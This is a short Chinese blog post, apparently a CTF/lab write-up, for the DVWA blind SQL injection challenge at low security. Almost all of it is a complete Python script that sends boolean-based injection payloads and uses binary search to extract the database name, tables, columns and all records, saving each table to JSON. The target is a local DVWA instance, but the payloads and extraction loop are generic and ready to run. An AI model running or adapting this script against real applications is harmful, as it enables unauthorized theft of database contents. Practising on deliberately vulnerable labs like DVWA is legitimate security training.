DVWA - SQL Injection (Blind) (low)

low

从数据库名到所有记录,用二分写了一遍。

import requests
import urllib
import json


class SqlHacker(object):

    """docstring for SqlHacker"""

    def __init__(self, post=False, inject_point_number=False):
        super(SqlHacker, self).__init__()
        self.min_record_count = 0
        self.max_record_count = 100
        self.min_value_len = 0
        self.max_value_len = 128
        self.min_char = 0
        self.max_char = 255
        self.min_column_count = 1
        self.max_column_count = 20
        self.min_column_name_len = 1
        self.max_column_name_len = 50
        self.min_table_num = 0
        self.max_table_num = 100
        self.min_table_name_len = 1
        self.max_table_name_len = 50
        self.min_db_name_len = 1
        self.max_db_name_len = 50
        self.inject_point_number = inject_point_number
        self.post = post


    def get_db_name(self, url, data, inject_key, success_str, headers):
        db_name = ''
        if self.inject_point_number:
            payload = "1 and length(database())>%d"
        else:
            payload = "1' and+length(database())>%d#"
        L = self.min_db_name_len
        R = self.max_db_name_len
        while L < R:
            M = (L + R) / 2
            data[inject_key] = payload % M
            if self.post:
                res = requests.post(url, data=data, headers=headers)
            else:
                res = requests.get(url + urllib.urlencode(data), headers=headers)
            if success_str in res.content:
                L = M + 1
            else:
                R = M
        database_name_len = L
        for x in xrange(1, 1 + database_name_len):
            if self.inject_point_number:
                payload = "1 and (select ord(mid(database(),%d,1)))>%d"
            else:
                payload = "1' and (select ord(mid(database(),%d,1)))>%d#"
            L = self.min_char
            R = self.max_char
            while  L < R:
                M = (L + R) / 2
                data[inject_key] = payload % (x, M)
                if self.post:
                    res = requests.post(url, data=data, headers=headers)
                else:
                    res = requests.get(url + urllib.urlencode(data), headers=headers)
                if success_str in res.content:
                    L = M + 1
                else:
                    R = M
            db_name += chr(L)
        return db_name


    def get_table_count(self, db_name, url, data, inject_key, success_str, headers):
        if self.inject_point_number:
            payload = "1 and (select count(*) from information_schema.TABLES where TABLE_SCHEMA='%s')>%d"
        else:
            payload = "1' and (select count(*) from information_schema.TABLES where TABLE_SCHEMA='%s')>%d#"
        L = self.min_table_num
        R = self.max_table_num
        while L < R:
            M = (L + R) / 2
            data[inject_key] = payload % (db_name, M)
            if self.post:
                res = requests.post(url, data=data, headers=headers)
                print(data)
            else:
                res = requests.get(url + urllib.urlencode(data), headers=headers)
            if success_str in res.content:
                L = M + 1
            else:
                R = M
        return L


    def get_tables(self, db_name, table_count, url, data, inject_key, success_str, headers):
        tables = []
        for x in xrange(0, table_count):
            table_name_len = 0
            L = self.min_table_name_len
            R = self.max_table_name_len + 1
            while L + 1 < R:
                M = (L + R) / 2
                data[inject_key] = "1' and ord(mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='%s' limit %d,1),%d,1))>0#" % (db_name, x, M)
                res = requests.get(url + urllib.urlencode(data), headers=headers)
                if success_str in res.content:
                    L = M
                else:
                    R = M
            table_name_len = L
            table_name = ''
            for i in xrange(1, 1 + table_name_len):
                L = self.min_char
                R = self.max_char
                while  L < R:
                    M = (L + R) / 2
                    data[inject_key] = "1' and ord(mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='%s' limit %d,1),%d,1))>%d#" % (db_name, x, i, M)
                    res = requests.get(url + urllib.urlencode(data), headers=headers)
                    if success_str in res.content:
                        L = M + 1
                    else:
                        R = M
                table_name += chr(L)
            print(table_name)
            tables.append(table_name)
        return tables


    def get_column_count(self, db_name, table_name, url, data, inject_key, success_str, headers):
        L = self.min_column_count
        R = self.max_column_count
        while L < R:
            M = (L + R) / 2
            data[inject_key] = "1' and (select count(*) from information_schema.COLUMNS where TABLE_SCHEMA='%s' and TABLE_NAME='%s')>%d#" % (db_name, table_name, M)
            res = requests.get(url + urllib.urlencode(data), headers=headers)
            if success_str in res.content:
                L = M + 1
            else:
                R = M
        return L


    def get_columns(self, db_name, table_name, column_count, url, data, inject_key, success_str, headers):
        ret = []
        for x in xrange(0, column_count):
            L = self.min_column_name_len
            R = self.max_column_name_len + 1
            while L + 1 < R:
                M = (L + R) / 2
                data[inject_key] = "1' and ord(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA='%s' and TABLE_NAME='%s' limit %d,1),%d,1))>0#" % (db_name, table_name, x, M)
                res = requests.get(url + urllib.urlencode(data), headers=headers)
                if success_str in res.content:
                    L = M
                else:
                    R = M
            column_name_len = L
            column_name = ''
            for i in xrange(1, 1 + column_name_len):
                L = self.min_char
                R = self.max_char
                while L < R:
                    M = (L + R) / 2
                    data[inject_key] = "1' and ord(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA='%s' and TABLE_NAME='%s' limit %d,1),%d,1))>%d#" % (db_name, table_name, x, i, M)
                    res = requests.get(url + urllib.urlencode(data), headers=headers)
                    if success_str in res.content:
                        L = M + 1
                    else:
                        R = M
                column_name += chr(L)
            print(column_name)
            ret.append(column_name)
        return ret


    def get_record_count(self, table_name, url, data, inject_key, success_str, headers):
        L = self.min_record_count
        R = self.max_record_count
        while L < R:
            M = (L + R) / 2
            data[inject_key] = "1' and (select count(*) from %s)>%d#" % (table_name, M)
            res = requests.get(url + urllib.urlencode(data), headers=headers)
            if success_str in res.content:
                L = M + 1
            else:
                R = M
        return L


    def get_records(self, table_name, columns, record_count, url, data, inject_key, success_str, headers):
        ret = []
        for x in xrange(0, record_count):
            single_record = {}
            for column_name in columns:
                L = self.min_value_len
                R = self.max_value_len
                while L + 1 < R:
                    M = (L + R) / 2
                    data[inject_key] = "1' and ord(mid((select %s from %s limit %d,1),%d,1))>0#" % (column_name, table_name, x, M)
                    res = requests.get(url + urllib.urlencode(data), headers=headers)
                    if success_str in res.content:
                        L = M
                    else:
                        R = M
                value_len = L
                value = ''
                for i in xrange(1, 1 + value_len):
                    L = self.min_char
                    R = self.max_char
                    while L < R:
                        M = (L + R) / 2
                        data[inject_key] = "1' and ord(mid((select %s from %s limit %d,1),%d,1))>%d#" % (column_name, table_name, x, i, M)
                        res = requests.get(url + urllib.urlencode(data), headers=headers)
                        if success_str in res.content:
                            L = M + 1
                        else:
                            R = M
                    value += chr(L)
                single_record[column_name] = value
                print(value)
            ret.append(single_record)
        return ret


def main():
    headers = {
        'Cookie': 'PHPSESSID=jb7d875vs8rlusttoadfi1m4l5; security=low'
    }
    data = {
        'Submit': 'Submit'
    }
    url = 'http://192.168.67.22/dvwa/vulnerabilities/sqli_blind/index.php?'
    inject_key = 'id'
    success_str = 'exists'
    sql_hacker = SqlHacker()
    db_name = sql_hacker.get_db_name(url, data, inject_key, success_str, headers)
    table_count = sql_hacker.get_table_count(db_name, url, data, inject_key, success_str, headers)
    print(table_count)
    tables = sql_hacker.get_tables(db_name, table_count, url, data, inject_key, success_str, headers)
    for table in tables:
        column_count = sql_hacker.get_column_count(db_name, table, url, data, inject_key, success_str, headers)
        columns = sql_hacker.get_columns(db_name, table, column_count, url, data, inject_key, success_str, headers)    
        record_count = sql_hacker.get_record_count(table, url, data, inject_key, success_str, headers)
        records = sql_hacker.get_records(table, columns, record_count, url, data, inject_key, success_str, headers)
        records = json.dumps(records)
        h = open('%s.json' % table, 'w')
        h.write(records)
        h.close()


if __name__ == '__main__':
    main()

针对low写好后,想改成更为通用的版本,待续。。

你可能感兴趣的:(CTF)